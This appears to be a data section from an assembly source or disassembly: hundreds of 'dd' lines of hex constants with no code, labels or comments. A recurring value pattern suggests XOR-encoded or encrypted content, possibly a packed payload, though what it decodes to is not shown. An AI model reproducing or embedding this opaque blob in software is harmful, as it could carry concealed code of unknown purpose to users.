dd 0F1BB4507h, 88321163h, 40DA9666h, 7E1611E1h, 0F81619EFh
dd 88321568h, 5B849085h, 0A1BEB4EAh, 0A94F6A2h, 1617C08h
dd 40F19485h, 0A3321566h, 1132118Dh, 0AC2E9266h, 602E9C3Ah
dd 3C807D9Fh, 2DBB1566h, 53D7542h, 4432156Ah, 2232138Eh
dd 59D7FB66h, 0D33DE8CBh, 0ADF22407h, 22321577h, 0D0E3A359h
dd 92FBA035h, 0B981B11h, 0C5BFDC28h, 92CBB9E8h, 84BB118Ah
dd 0CCF39D42h, 0A63D4CADh, 11321575h, 88321B8Fh, 0F6757666h
dd 554C62ECh, 0F74BD2F4h, 9A03C4Eh, 4432118Ah, 6269C66h
dd 0FFB26AD0h, 48DCC541h, 0AAB21688h, 78C13573h, 1132058Fh
dd 27B06C66h, 886A8DB5h, 25F87055h, 0DE7E6BCCh, 0F8C99568h
dd 41429169h, 42CB1566h, 11319A69h, 3541566h, 898D73BFh
dd 2D0E747Fh, 11DD9169h, 0B4CB1566h, 69B61A8Fh, 4232156Dh
dd 0FA0E7493h, 87089169h, 78CB1566h, 0B9B61A85h, 0F8321565h
dd 8832156Ah, 55A661BBh, 63FFE5BAh, 0BAC4B580h, 0C3DF75Ah
dd 443205ADh, 678B7306h, 113FFCACh, 24C11566h, 0BF4B872Fh
dd 0DF52D184h, 70FEF562h, 0D91629EDh, 85B3F4EFh, 22321562h
dd 9636D4E5h, 746E316Ah, 141609EDh, 2637F5EFh, 14321566h
dd 88321562h, 181611E1h, 26B01A06h, 77321566h, 61D8BDDDh
dd 44321574h, 0EC9D52D0h, 0A745273Eh, 6D13EC7Fh, 0A9B84557h
dd 0A9532669h, 9865316Ah, 8CF59481h, 0C7321566h, 1EB511A1h
dd 9ACA4942h, 1643152h, 40F49480h, 0A3321566h, 113211A0h
dd 0AC069266h, 443FFC3Ah, 0A291566h, 0D773B862h, 4988E4F3h
dd 87963580h, 2239FD06h, 7B021566h, 436C22FFh, 9B3082BCh
dd 34E994C8h, 4A58E92Eh, 0FCB7D207h, 42340E1Fh, 2D321566h
dd 11321DE8h, 8AB11A66h, 24321566h, 22884707h, 90321566h
dd 0B921C3A4h, 0C5C01459h, 1321C38Ch, 4B289F59h, 8832138Fh
dd 0EBD5C166h, 4234A008h, 11369669h, 33541566h, 2253D506h
dd 2C2A037h, 1DB9738Dh, 8AF69442h, 0AD321566h, 22321576h
dd 649750CDh, 0A4F92D44h, 8B3111F0h, 0DC9AC659h, 1EB2EEE6h
dd 77CCFEE3h, 443DFC99h, 57671566h, 0F6FF7334h, 9FF92428h
dd 0BFA1CD5Ah, 0DD8F400Ah, 10CDEA99h, 9ADB4888h, 37321566h
dd 2A488AFBh, 0C00931A7h, 36C67B8Ah, 2271EB2Bh, 0D7B79E7Ah
dd 0ED340162h, 9B9380EDh, 12CB1372h, 0A11609EDh, 0F85211A2h
dd 8832156Dh, 0DA6708BEh, 3AA9F756h, 0EDDAB338h, 8E8C4307h
dd 45321566h, 6069E95h, 1136D1E7h, 73D1566h, 44321573h
dd 2232058Fh, 0AFFE4066h, 403E57B3h, 2415507Bh, 0EB865D60h
dd 0A863ED1Dh, 88321564h
dd 3525FCE7h, 0D3336D5Bh, 6025D4E7h, 91316D5Bh, 54B41A3Fh
dd 42321566h, 1132138Fh, 0D6537C66h, 4B6BDAABh, 1953D3D1h
dd 48B01ABEh, 87321566h, 443236EAh, 2EDB7566h, 0E5321566h
dd 0DD400C17h, 5D277C3Bh, 0CB10CB78h, 1132156Dh, 0A4FED68Bh
dd 95C5B9C7h, 431A9676h, 1132068Fh, 0D5135466h, 947827BBh
dd 0FA6E565Ah, 0BFE572D5h, 0ABAB9A2h, 0C23DCF5Dh, 0DDCDE882h
dd 11321F8Fh, 913A3766h, 867DFB2Dh, 0D715547Ah, 6E71AB30h
dd 7B333F99h, 0C5C93C38h, 0DD4D568Dh, 1134FC4Ch, 9821566h
dd 88248772h, 0AB36F9E5h, 178F314Ah, 0A1321566h, 41DB488Dh
dd 0B8321566h, 0C5D9D081h, 7D52B800h, 2253F6D2h, 0FA03ECCDh
dd 0C903D657h, 8832068Fh, 0FCF5FE66h, 0E4C4D08Eh, 3A89222Ah
dd 0F4891F21h, 15C44301h, 223FFCCDh, 1CAC1566h, 9F6A8CA3h
dd 57764005h, 7375E6F7h, 113211DFh, 4FDC9466h, 4543A238h
dd 0E5F494A8h, 4843A238h, 88359069h, 0CA3D1566h, 22321567h
dd 350E9C9Fh, 8832108Fh, 0CA08AF66h, 56BB95C3h, 98C71942h
dd 9C13A0D3h, 43B41A60h, 42321566h, 0AE3D23D4h, 0B4B974BCh
dd 0A6BB4742h, 2236D7E7h, 0D3B11566h, 0AC269262h, 0BBCBE03Ah
dd 0A1693152h, 425211A2h, 0D7C3A269h, 818A7306h, 43537568h
dd 353E9E07h, 9D79C33h, 443211A3h, 26F79666h, 4D1639E1h
dd 88321F8Fh, 0B8E51066h, 0BAD01234h, 9A15E017h, 1653152h
dd 40F59481h, 0A3321566h, 113211A1h, 0AC0E9266h, 0CD64ED3Ah
dd 26F49480h, 92321566h, 0BC0111A0h, 60062442h, 7E162155h
dd 0CEEAFC9Eh, 0EE52EA99h, 0D01FD5E7h, 0A7F57493h, 17296C12h
dd 88321564h, 0B4BB459Fh, 0DB6A4E36h, 0E93CA369h, 87B2ECE6h
dd 44324EE5h, 223EFC66h, 0A0901566h, 9512E026h, 0E8BBB20Bh
dd 9C647779h, 9063AFh, 896CE667h, 8DD994ADh, 0DE23B710h
dd 0EECDAB30h, 7B1BEA99h, 59B01A38h, 2D321566h, 113202E0h
dd 8820FC66h, 4FB01566h, 0DD906876h, 0D4ECDE14h, 0CB8FDD4Ah
dd 3EBBE849h, 2232988Fh, 9152EC66h, 0E9CB08A4h, 0E7834435h
dd 0D43AFCA6h, 91EBE3BFh, 47BACB97h, 0C4E5E33Fh, 0C5F283A1h
dd 0EF59563h, 0E869EC4Eh, 4432108Fh, 0BDB73766h, 0AE546AF4h
dd 7F53C518h, 45F396B7h, 22321F8Fh, 0DA723266h, 9EA37972h
dd 2C4AE567h, 223236BCh, 0AB1601EFh, 88321599h, 0B168C447h
dd 22339B69h, 41CB1566h, 3B7E44DEh, 4CD2D411h, 25D2D42Eh
dd 5934F5A7h, 0C5407E63h, 1CF13CA3h, 0E1B3DE4Fh, 5E5F470Ch
dd 8832108Fh, 0B1942066h, 0A7B99AD0h, 17261193h, 29A79E93h
dd 0BC340175h, 4407A506h, 7007C5D8h, 922FA8E5h, 4B331372h
dd 223680E2h, 1EDBED66h, 57321566h, 49FC860h, 0FF2FC577h
dd 62294414h, 4B0B1285h, 404A9769h, 0A23D1566h, 11321572h
dd 88321A8Fh, 0ABF25C66h, 8F292EA0h, 0F8F9B698h, 14A9A93h
dd 0C63DC65Fh, 0DDCDEE52h, 17B51A06h, 87321566h, 443215EAh
dd 223EFC66h, 0F6A01566h, 0ABCC382Bh, 9D178E73h, 0CB53F7B7h
dd 11321154h, 8838FD06h, 320E1566h, 636D2C7Fh, 0A6C9D9E6h
dd 7F46C3E7h, 0CF697A6Fh, 0A7F5749Dh, 17296C12h, 88321564h
dd 44259C69h, 0AC3D1566h, 11321577h, 8832198Fh, 0E2A95566h
dd 0B0EC1B25h, 668A990Eh, 8EDB757Ah, 8B321566h, 758A796Bh
dd 6AE4950Dh, 94B94307h, 40F69642h, 22359B69h, 933D1566h
dd 88321567h, 43BF1A9Fh, 2D321566h, 113214E7h, 3E3DE966h
dd 0BDB2ED68h, 4FB11AE6h, 0ED321566h, 0A44FD6E7h, 87B3448Fh
dd 69D69CBh, 0FAB3DE67h, 0AC9D69CBh, 684FFEE7h, 25DB448Fh
dd 89321566h, 522FB297h, 0C561094Fh, 0DDCD314Ah, 0F869EA99h
dd 88321572h, 0C208178Eh, 0F47EA296h, 0B3CB22Ah, 0E659B890h
dd 0F8454D9Fh, 2232B28Fh, 0C8B87566h, 88321C8Fh, 7EDC6966h
dd 0BC776F7Ch, 71530206h, 0B7A7B8DCh, 4BE2947Ch, 434153E4h
dd 91CAA136h, 64B2C8AAh, 0FCDB9598h, 0E3B2F44Eh, 963D4DDEh
dd 8832156Eh, 44BA1A06h, 43321566h, 0C4C5FCE1h, 0E873FCE1h
dd 25E2CFE6h, 22CDAB30h, 0E0131566h, 0B1621EDh, 0CF3D11A2h
dd 2232156Bh, 792DAB06h, 7BB31D52h, 5D5B8E16h, 0CF8B4407h
dd 900EF17Ah, 1723F68Fh, 85B3542Ch, 14A204DDh, 0F8F3CC91h
dd 44C39462h, 6D6E26D4h, 0E91B4CADh, 0DCDD6E7h, 87524427h
dd 0AD53CBD1h, 2232156Eh, 9AE49025h, 9A67EC93h, 40C790EDh
dd 32DB1372h, 6F321566h, 0D55D4115h, 6EFB306Dh, 49FBD1F7h
dd 9A36848Ch, 9C21B4F3h, 0A4B37560h, 24CF4E99h, 0ACB1749Eh
dd 8E260F7Bh, 0C3B61A67h, 42321564h, 0AE684706h, 87BC928Dh
dd 4422FD07h, 7F31566h, 3A114121h, 0E942F7C9h, 8EAE4941h
dd 4081284Eh, 0C909743Fh, 882A9769h, 7DC71566h, 13B41AB5h
dd 71CDEA9Fh, 88309569h, 25521566h, 0EC6203DDh, 0AA617459h
dd 77CDEA99h, 0B169CB67h, 0A2DAA037h, 0F4B2C08Bh, 84C79505h
dd 0CCDC9D34h, 0CB6B4F96h, 11321574h, 9DA1273Ah, 77F2C86Dh
dd 8E61BFFh, 962BD918h, 8798E0C7h, 443219EBh, 2235FC66h
dd 60421566h, 0DEBC383Bh, 448A45D9h, 23321566h, 11884796h
dd 89321566h, 1E389FA4h, 953D753Eh, 0A261749Dh, 0A00CA5D8h
dd 602E9EBEh, 2236D1E7h, 0F8CE1566h, 88321577h, 2010FCF8h
dd 8F517A1Ch, 5C365D10h, 0EE6B373Ah, 0F56346BCh, 8ED395BBh
dd 9137FCA6h, 49B21A8Fh, 1DF99D7Ch, 4269CC46h, 1122FC06h
dd 299E1566h, 4705B14Ah, 0F38E5076h, 0F14A4509h, 83D2156h
dd 44321566h, 0CBB37307h, 1953D955h, 57B275AEh, 25E89E7Bh
dd 985475CCh, 70CE44E5h, 0E6F4D6E7h, 87B36290h, 54202DB9h
dd 0FAB3EE4Fh, 0FE202DB9h, 2AF4FEE7h, 72C76290h, 1132110Eh
dd 4B1B4D66h, 1762E03Eh, 62E9E3Eh, 1136D1E7h, 61521566h
dd 4432156Fh, 975CBA81h, 0D4779E60h, 8CB61AE7h, 22321566h
dd 432F65D8h, 0EB61ACDh, 87321566h, 44320CE9h, 2226FC66h
dd 0FD3A1566h, 6CBD8491h, 2CF8C9E5h, 7D8EBE72h, 0BE8D088Ch
dd 356754D0h, 44321564h, 56DDD3E7h, 0FF3346ECh, 0FCDDFBE7h
dd 0BD6F46ECh, 97879C9Fh, 0F8340147h, 88321574h, 0C63D2384h
dd 0FF5A8C13h, 0D8E2A889h, 0D7663649h, 0C1F5D154h, 24260F7Bh
dd 11321567h, 8CDE949Fh, 0CD321566h, 0C4BB3152h, 1136D3E7h
dd 4EB11566h, 60069262h, 23B11A3Ah, 0E4321566h, 0D3162199h
dd 4436D1E7h, 0A83D1566h, 11321568h, 8FE39406h, 4B4F7362h
dd 223215E6h, 25CD7466h, 4CB34C42h, 44321562h, 0C3BB4493h
dd 1136D4E7h, 49B11566h, 30CD4462h, 0AD6B1142h, 716E3162h
dd 34F8C4E7h, 4ADB49D4h, 0E0321566h, 1075DDE0h, 3E7032D1h
dd 8A96398h, 0AB60741Ch, 6A894684h, 9139613h, 0D6069B95h
dd 30F99423h, 903D0354h, 9718868Dh, 0B7B35E23h, 0BCA5C01h
dd 9269CF67h, 9CB511A4h, 0C13D4942h, 22321565h, 0F853E006h
dd 77CDCF40h, 44321C8Fh, 0E13EBE66h, 0FF075DBBh, 3260C377h
dd 3F7A0CCCh, 39D8942Ch, 9026E509h, 40BF1A4h, 0CBF09447h
dd 0B4A097Dh, 9A3D4FB0h, 8832156Eh, 44309869h, 43521566h
dd 0DF8D1A06h, 0E053ECECh, 443274AEh, 951609EFh, 14D5D58Dh
dd 48D0D2E6h, 0A3F21681h, 0CBF59561h, 0F869EDEEh, 88321561h
dd 0FC80EB4h, 88A8EEF7h, 9865ED9Fh, 3CA9C91h, 80B1315Ah
dd 223DFC62h, 32521566h, 0FA226FB1h, 0D2BA15A0h, 85D5ECEh
dd 428D42A1h, 0A15F0075h
dd 0BC1B4A9Eh, 37214663h, 1CDBED0Bh, 42321566h, 27336E2Ah
dd 499BB5F9h, 1207F26Ch, 8836F9E7h, 68BB1566h, 2236A842h
dd 0F91B1566h, 80BD1A3Bh, 24321566h, 995420D5h, 1E533225h
dd 883219E4h, 42B41A66h, 2D321566h, 113215EBh, 74CBBE66h
dd 0C5D79C33h, 223211A3h, 15F79666h, 0B9163955h, 6801314Ah
dd 30DB4942h, 91321566h, 209A587Eh, 8BA7899Bh, 9C7D0F57h
dd 0EDD54E10h, 8823FCA4h, 48CD1566h, 0B9B1A491h, 4EB8BF3Dh
dd 3A0460Eh, 0CFE38737h, 0AB60317Ah, 15F09484h, 9321566h
dd 443211A4h, 6269266h, 2681753Ah, 0AC06EA07h, 40F6943Fh
dd 0DA321566h, 1123FD06h, 47A11566h, 0FC800829h, 7C44EE4Bh
dd 82A63B92h, 0D0323D51h, 443E9D69h, 24DA1566h, 37321566h
dd 7F6D2A8Dh, 0BB534BECh, 0A16C3152h, 993D11A2h, 88321575h
dd 44321B8Fh, 266D8366h, 8E3F3D5Ch, 2629F3CCh, 4BEB26E6h
dd 22321DE4h, 13B61A66h, 0E8321566h, 0A5BB4407h, 2236D4E7h
dd 0D0B11566h, 0FCCD4462h, 0CB6B1142h, 0CB6E3162h, 11321563h
dd 77543A0h, 9F12FC5Ch, 0A83DEA99h, 1132156Eh, 88309369h
dd 25521566h, 5B4690A1h, 1137137Dh, 0EE521566h, 0C52CC9DCh
dd 0BDFD96ACh, 0F8527448h, 88321563h, 1EADA80Ah, 0EDB37362h
dd 4753AE3Fh, 691621E7h, 0CF3F027Ah, 0E6B1317Ah, 0F0C19462h
dd 613F027Ah, 4432156Ch, 0E2E26B00h, 78377A8Ah, 0E064C1CBh
dd 44321562h, 7CC11438h, 113F9369h, 87521566h, 443215E2h
dd 0F4B37366h, 4053CD05h, 0A11DA3DFh, 44DB9478h, 6B06D834h
dd 3379D4E7h, 793303C2h, 0B86B0C65h, 26C790EDh, 933D1372h
dd 8832156Fh, 0C7F19406h, 0DE4A733Ah, 0B0A79E07h, 61340175h
dd 44321561h, 502EB074h, 433C781Ch, 883214DCh, 1EE43C66h
dd 2232068Fh, 2EABF766h, 0A6B13B5Bh, 0CB6EFD4Fh, 50BD1A9Fh
dd 0BB5E025Dh, 9AD3A8E5h, 4B331372h, 223480E2h, 0C909EC66h
dd 880D9769h, 0CF3D1566h, 2232157Fh, 11219C69h, 86DB1566h
dd 29321566h, 0B3C0A13Dh, 168468DAh, 0DC8DC920h, 9E09ECBDh
dd 23309369h, 903D1566h, 88321577h, 4432198Fh, 0B0FD3566h
dd 5F29D329h, 0EBAA813Bh, 0F1879C82h, 0CB340147h, 11321560h
dd 0E26D290Ah, 0D9B978A8h, 24296C12h, 355E949Eh, 0C847436Ah
dd 606E140Bh, 7488476Ah, 105F5513h, 0D2223132h, 0FC8C7306h
dd 1AF69509h, 1EDBE907h, 61321560h, 44321576h, 0E00639B7h
dd 4D0EEEA5h, 0FD6481E5h, 3BB38873h, 7D162199h, 1136D1E7h
dd 4FCE1566h, 5020F4E3h, 22321460h, 0DF8D7566h, 71746F28h
dd 6006EA07h, 26F6943Dh, 1E321566h, 883214ECh, 48B9E966h
dd 0C3BB4442h, 1136D4E7h, 49B31566h, 44321562h, 7E1619E1h
dd 1132068Fh, 0CBE33D66h, 7C9D3405h, 51A386A8h, 0B0A1CB17h
dd 8A515BAFh, 1A162199h, 2236D1E7h, 92CE1566h, 84BB118Ah
dd 0C5D39C42h, 223211A7h, 15F39666h, 0D41619E1h, 45BD1A9Eh
dd 0DA321566h, 0EEE44C8Fh, 0D38D7599h, 155028B5h, 2624F4E7h
dd 706A45ACh, 922FA8E5h, 4B331372h, 223740E2h, 1126FC66h
dd 34F01566h, 37C866E2h, 8B6C076h, 2F20C0E8h, 9162A3EAh
dd 43DBD6E5h, 0CC321566h, 75888756h, 1519EA34h, 42261193h
dd 2232068Fh, 0F4C78A66h, 1A46262Bh, 74891BD0h, 0AEFEB67Fh
dd 8848D31Ah, 908798EDh, 22521372h, 0D275CBE7h, 1132048Fh
dd 0ABAFBA66h, 847B4F24h, 3909D389h, 0DA91EBCBh, 7453E08Fh
dd 316DD4E7h, 0FB3310DCh, 646DAA31h, 711B10DCh, 4420FC39h
dd 73191566h, 0FE756354h, 51815F41h, 0B7D9CF81h, 1985E0E7h
dd 77AFD4E7h, 61B32F93h, 548504Ch, 0E3B3EC4Fh, 5048504Ch
dd 0EEAFFCE7h, 0CC3D2F93h, 2232156Eh, 11309E69h, 0E9521566h
dd 44321B8Fh, 0CC835D66h, 89BAE7B3h, 0FE8F5891h, 1161A8BEh
dd 6C03AC37h, 278F667Ch, 0A1410F28h, 0AD1B4CABh, 27B81A3Bh
dd 71321566h, 0E95FD9E6h, 24CA9E06h, 2DF49E00h, 113215EBh
dd 0DB537466h, 0A88210D1h, 3EB9ED56h, 15F69642h, 4BB97306h
dd 0B1657507h, 2226FD3Fh, 0EF61566h, 463DA7ECh, 27C06B1Eh
dd 402ADAE0h, 0A36F6182h, 0A28A919Eh, 1C5B580Fh, 0A93DBF07h
dd 11321567h, 0D852759Eh, 680DAB3Eh, 44531F22h, 519E4E7h
dd 3634507h, 80B33162h, 22321562h, 7752E03Fh, 614702D9h
dd 4432156Ah, 0D5C83A4Ch, 0DC720CD9h, 3D8270F7h, 0BC52BE07h
dd 22349769h, 923D1566h, 88321566h, 0A7BB4607h, 2236D6E7h
dd 0D2B11566h, 0FCCD4662h, 0CB691142h, 0DB6E3162h, 4A162199h
dd 8836D1E7h, 0BBC71566h, 0A16B3152h, 5DB11A2h, 0A4321566h
dd 92B1439Ch, 59C9F54Fh, 0FFEF7460h, 0C056BD4Fh, 0BBC29254h
dd 0A36C3152h, 113211A2h, 8834FC66h, 0BCFA1566h, 2A317AFCh
dd 1136F9E7h, 0A4BB1566h, 0C5D79C42h, 223211A3h, 15F79666h
dd 0D41639E1h, 4432128Fh, 6E1A6666h, 133C8AB7h, 5F36FC93h
dd 41DBEA99h, 95321566h, 0B2D018Ah, 0F14690A1h, 4430137Dh
dd 0A73D1566h, 11321575h, 61F19E06h, 4432156Ch, 72BD486Dh
dd 0A6A7813Eh, 875372BDh, 443200E1h, 2222FC66h, 0DB521566h
dd 0B7F7D6D2h, 2F6801EFh, 0D548094Bh, 9A64DE59h, 4CB3317Ah
dd 44321562h, 223AFC06h, 18C11566h, 82DC9910h, 4B533A0Ah
dd 0CB521BD0h, 1132156Eh, 0F35D97DFh, 440FC47Ch, 7B5DA9DFh
dd 1EDB746Fh, 0C0321566h, 480EDE4Eh, 4BB2D1E4h, 6F517F74h
dd 71B2AFADh, 1EB11AE6h, 0DB321566h, 552FD6E7h, 4BB308FBh
dd 659477CEh, 0C9B3DE67h, 309477CEh, 0CC2FFEE7h, 43DB08FBh
dd 0FD321566h, 72E55768h, 356779F3h, 0BBCDEA99h, 0CB6FFE4Fh
dd 1132156Eh, 0EBCFECEBh, 728DFB1Dh, 2232A18Fh, 14DA7566h
dd 0CA321566h, 995DC14Fh, 22329969h, 0AE6B1566h, 0D731BF70h
dd 0BB824507h, 26B9D44Eh, 15F69442h, 87321566h, 44321DE4h
dd 20B91A66h, 71321566h, 84CD4407h, 95C54C42h, 26DE949Ah
dd 98321566h, 778F314Ah, 65321566h, 29DB488Fh, 67321566h
dd 15807535h, 0A8E5602Eh, 25DB1752h, 13321566h, 4E90CFEAh
dd 0FD63F9D6h, 58E96672h, 9030FCA7h, 0D035AB8Fh, 0B3E3E266h
dd 0B3C394BFh, 102F129Ch, 431B4CADh, 6BABFEE7h, 2DDB163Fh
dd 8F321566h, 0F8AFFFB9h, 77DF7314h, 600893F2h, 933DAC2Dh
dd 8832156Bh, 44321D8Fh, 0FA777166h, 0E9212844h, 7DB79E59h
dd 0AD340162h, 22321568h, 0F8220229h, 1F57AB3Ah, 23960951h
dd 0B7B975A8h, 172606C7h, 72DBFC9Eh, 0C43DEA99h, 22321561h
dd 11339D69h, 4FCA1566h, 5F4B61E3h, 22321760h, 1121FC66h
dd 5C781566h, 78DF410h, 0D09182D7h, 0CE91A7F0h, 612D2C3Fh
dd 0B1BB40F7h, 0EB9FEEFh, 15F69442h, 74321566h, 0F564E006h
dd 2D534A0Fh, 2DB1BD0h, 0D321566h, 7BFBD575h, 6865D40Bh
dd 950E16A5h, 0FDB8DD95h, 0BDB22677h, 4BB11AE6h, 1E321566h
dd 883212E0h, 45BA1A66h, 0DA321566h, 1549FEE7h, 433361A2h
dd 2A68AC37h, 0D3B3769Fh, 60F7F47h, 0E86BDE67h, 4432138Fh
dd 0FDA69F66h, 70384626h, 93D2AF34h, 0A6F3620Bh, 0B0F09461h
dd 0E67E4B22h, 49E8E2B4h, 0B6B3178Ch, 0DD76E7BDh, 1E68C64Fh
dd 883212E5h, 45B81A66h, 0DE321566h, 11327B8Fh, 373D7566h
dd 25EA9EB5h, 0DD814600h, 399FFCE6h, 25F395BFh, 0C03D4E00h
dd 2232157Fh, 1132018Fh, 1DA79766h, 9D506228h, 0AC3B4E76h
dd 663C2F5Ch, 290CD4C4h
dd 0C3E3E2E8h, 0D3B55397h, 0C3B37306h, 0E053C477h, 443260DDh
dd 9C1621EFh, 11321599h, 746CE447h, 6AA4FEE7h, 0E1B34F8Ah
dd 486C4D06h, 63B3DE4Fh, 1D6C4D06h, 0CA4D6E7h, 9ACE4F8Ah
dd 9C36E0E3h, 45BE1A60h, 0DE321566h, 0B0A79E9Eh, 74340175h
dd 5E2FA8E5h, 2D331372h, 0EEC534E2h, 8838FC99h, 0D1301566h
dd 9CFCA873h, 4D3BFC81h, 0A3DCD5Dh, 44321579h, 2DE12C93h
dd 0EEDFCAE0h, 0D3D7599h, 44321565h, 42ECAA69h, 11329169h
dd 3541566h, 0C75374B9h, 16BB118Ah, 353EEA42h, 883EFC38h
dd 527E1566h, 0A8E27D70h, 0D4534B0Bh, 165D643h, 0CFCB9C91h
dd 0E6B1315Ah, 0A962E062h, 0F9723897h, 0B05FAA43h, 0EA5D3867h
dd 0D033BEA6h, 9CB3C3Eh, 3B57578Fh, 7261E033h, 0B773DF0Eh
dd 0C9174D7Eh, 7163FD53h, 32921423h, 386AD6EFh, 74C74EBFh
dd 0DD834435h, 0DC5DF4E6h, 91E3E3AFh, 79B2DCA7h, 1DFD9D4Fh
dd 4269EDEEh, 11279469h, 98DB1566h, 3321566h, 7C035EBCh
dd 0CE2049FBh, 0F2DF2258h, 4B5E8918h, 0D753CDD1h, 0AF5475CCh
dd 87534CF4h, 44321DE9h, 20BD1A66h, 71321566h, 0B9FA2407h
dd 0B1FA24A7h, 2226FCCDh, 35471566h, 0A651CF89h, 307038AFh
dd 0D8011E45h, 0BDC42E55h, 0B3DAA84h, 44321563h, 0F3851A06h
dd 0C3DAFC07h, 0E8C7EA99h, 8985FAE7h, 99544094h, 40533F5Ah
dd 883215DFh, 17C31466h, 223215DDh, 9BF91466h, 0E86B4E65h
dd 65E39400h, 0D4851AEAh, 1EDA2907h, 883246E2h, 4EDB7566h
dd 10321566h, 4AB374A4h, 0EFD99B8Eh, 0AD53EC79h, 22321561h
dd 0B229747Ah, 0DB011CB0h, 0B561500Eh, 0E1B34E0Dh, 853CB9DDh
dd 94B9CDEFh, 40F69642h, 2226FC9Fh, 71D51566h, 9EC693A0h
dd 0F235F348h, 9A4A2D0Fh, 2777B735h, 1BDB69EEh, 0BC321567h
dd 0A3D59C31h, 113211A1h, 8CDD9666h, 181629E1h, 421609EFh
dd 11309769h, 0EA801566h, 4432048Fh, 0C1BCC566h, 25245F96h
dd 0AAB7525Ah, 49C102CEh, 0A15381AEh, 25BB118Ah, 0AC069442h
dd 629F4D71h, 35C1943Dh, 0ED14B83Eh, 8833AC37h, 0B5331566h
dd 2232AF34h, 0DB331566h, 0D1680F65h, 443BFC06h, 64331566h
dd 0AD50D5C0h, 0E84AC142h, 25FAA269h, 11D97D07h, 1DBB1566h
dd 8837AC42h, 8F331566h, 33BE1A3Fh, 0F8321566h, 8832156Ah
dd 0CC3B882Bh, 0D91E8BBFh, 79BAF7B1h, 7D864535h, 0BA2AF9E6h
dd 7CF695A2h, 9131F1A6h, 6BBA98A2h, 0C4F1EB3Eh, 0C9B2018Dh
dd 4AEA9D14h, 88359169h, 0C83D1566h, 22321567h, 913DBF9Eh
dd 88321576h, 44321E8Fh, 0D473A866h, 0D8251B7Ch, 4EE60F72h
dd 47A0FEE7h, 0D91B4017h, 12A0AF34h, 5B334017h, 355AEC3Ch
dd 0AB321507h, 158A3162h, 0A1321566h, 22524DA5h, 2D3E52DFh
dd 2053DFD1h, 0B9F124BEh, 49DB75BEh, 3E321566h, 0E3806A1h
dd 653F2396h, 0BA1A302Eh, 9D3DE906h, 0BA5374A8h, 88299969h
dd 22521566h, 33DBD3EDh, 5F321566h, 5F31D92Eh, 99D9593Ch
dd 68B54906h, 0BB494A75h, 0AC06EA07h, 40F6943Dh, 42321566h
dd 0FE2EFCE7h, 8521C8Fh, 0CC3DCE94h, 22321566h, 0AB607407h
dd 88321563h, 50B9C367h, 26F69442h, 0E4321566h, 0A278EBDEh
dd 43D2D429h, 9860C591h, 7BE89598h, 0E868C557h, 86B9429Ah
dd 42F1743Fh, 11321C8Eh, 0CE0A6266h, 5B5C6C19h, 0AB8A6C92h
dd 4E04D888h, 98D19400h, 155A7491h, 0AB321571h, 923D316Ah
dd 88321561h, 44339669h, 44CB1566h, 9A542399h, 4CB33162h
dd 44321564h, 22321F8Fh, 70176666h, 0C0D23524h, 78D20338h
dd 0BB61AA5h, 0F8321567h, 88321574h, 882201C9h, 26531A0Dh
dd 0B9725B32h, 6C6DA3A3h, 8F0E52F5h, 23389169h, 2DCE1566h
dd 0C1B61AA4h, 4B321567h, 22321BE6h, 113BFC66h, 272B1566h
dd 0DE090246h, 1EAAC3A6h, 3CB61AACh, 71321567h, 0BB0F739Eh
dd 69B61A43h, 71321567h, 70DD57D8h, 4CD89456h, 434FF4E0h
dd 0EE1C2800h, 885A9069h, 42DB1566h, 0F8321566h, 77606033h
dd 8CDE96ABh, 0FE1601EFh, 22321564h, 13B8E767h, 8822FC3Ch
dd 0CFBA1566h, 943A0C11h, 2D2174C2h, 2BBF8D2h, 1654311Ah
dd 0D212E5D0h, 35269E00h, 8830D1E7h, 78C71566h, 36B61AC6h
dd 71321567h, 8832058Fh, 12D7E166h, 1D530D82h, 4E2208D3h
dd 5296A4B8h, 0AFB345ECh, 694DD1C2h, 1DB9743Ch, 6BBB4642h
dd 4436D6E7h, 0E1B31566h, 11321562h, 0D41609E1h, 4432048Fh
dd 0EC976166h, 4A331650h, 7B72AA0Eh, 0A9783422h, 225AECA9h
dd 9A321566h, 4CB13162h, 0FE547562h, 2EDB13ECh, 3D321566h
dd 0C5C1C234h, 0E9693187h, 430CE058h, 1133598Fh, 89B01A66h
dd 0B1321566h, 0A252DC57h, 903DC784h, 8832156Dh, 4432108Eh
dd 87848E66h, 706BE3DEh, 77CDA833h, 0AD1BEA99h, 9B54753Bh
dd 14DBE121h, 4A321566h, 79553CA1h, 22A6FC07h, 1CDB1566h
dd 9F321566h, 0B03481D5h, 0A08269F0h, 8F5B6166h, 8832160Eh
dd 603E9E66h, 2D36D1E5h, 113212EDh, 89B11A66h, 0BC321566h
dd 2232708Fh, 22897566h, 0EE2A3277h, 1C18FEE7h, 9C64EC07h
dd 11321560h, 746C4C30h, 44325C8Fh, 36B31A66h, 0F8321566h
dd 88321569h, 0BA5633A6h, 9025C472h, 0C1A0C35Ch, 0E0381F32h
dd 44327749h, 991609EFh, 5F333590h, 0EDD1942Dh, 0C5286112h
dd 0C7641A5h, 19D1D449h, 3135E6E7h, 9DBB3B02h, 0EEB2753Dh
dd 5F8D7341h, 2CC174D0h, 44321D8Fh, 0A6542E66h, 0C17661EBh
dd 29BF9E70h, 0B1340175h, 0A73DDCE3h, 11321568h, 88339F69h
dd 0CDCB1566h, 3621B4D3h, 1DB9EC60h, 6FBB4242h, 4436D2E7h
dd 0E5B11566h, 350E9262h, 89BF1A3Ah, 0B1321566h, 810B9FDEh
dd 66884760h, 0C249AA72h, 980DFE7h, 0D0B33E75h, 7C25608Fh
dd 0AD68C56Fh, 4C6E778Dh, 6231FDA7h, 255D1443h, 8BCD381Dh
dd 0C83D1566h, 22321567h, 1ADBD693h, 7A321566h, 8A2C1C2Dh
dd 7BBF46FFh, 0EE54E859h, 0EE647350h, 222923D8h, 2016614Fh
dd 49544B00h, 93041000h, 44369269h, 42521566h, 0D20E7407h
dd 89E39169h, 0CA3D1566h, 2232156Ch, 8A887306h, 0F38B7391h
dd 695A7442h, 0AB321577h, 0D7BA3172h, 7168E6EEh, 0F6604500h
dd 78E69D96h, 4954F646h, 88269F69h, 4BDB1566h, 0A321566h
dd 16BDDF1Bh, 0A0AAD6BFh, 8D3DF69Dh, 33DB9F5Ah, 0AA321566h
dd 0FEC4A0B8h, 4413F05h, 0E79B77C1h, 0F2B72BDBh, 8742EEE6h
dd 4431FEE2h, 0E1B97566h, 2D53DEEDh, 0E8B61A8Fh, 0AD321567h
dd 2232156Dh, 7F322979h, 49649D26h, 0B1C41A8Ch, 0A63DFE5Ah
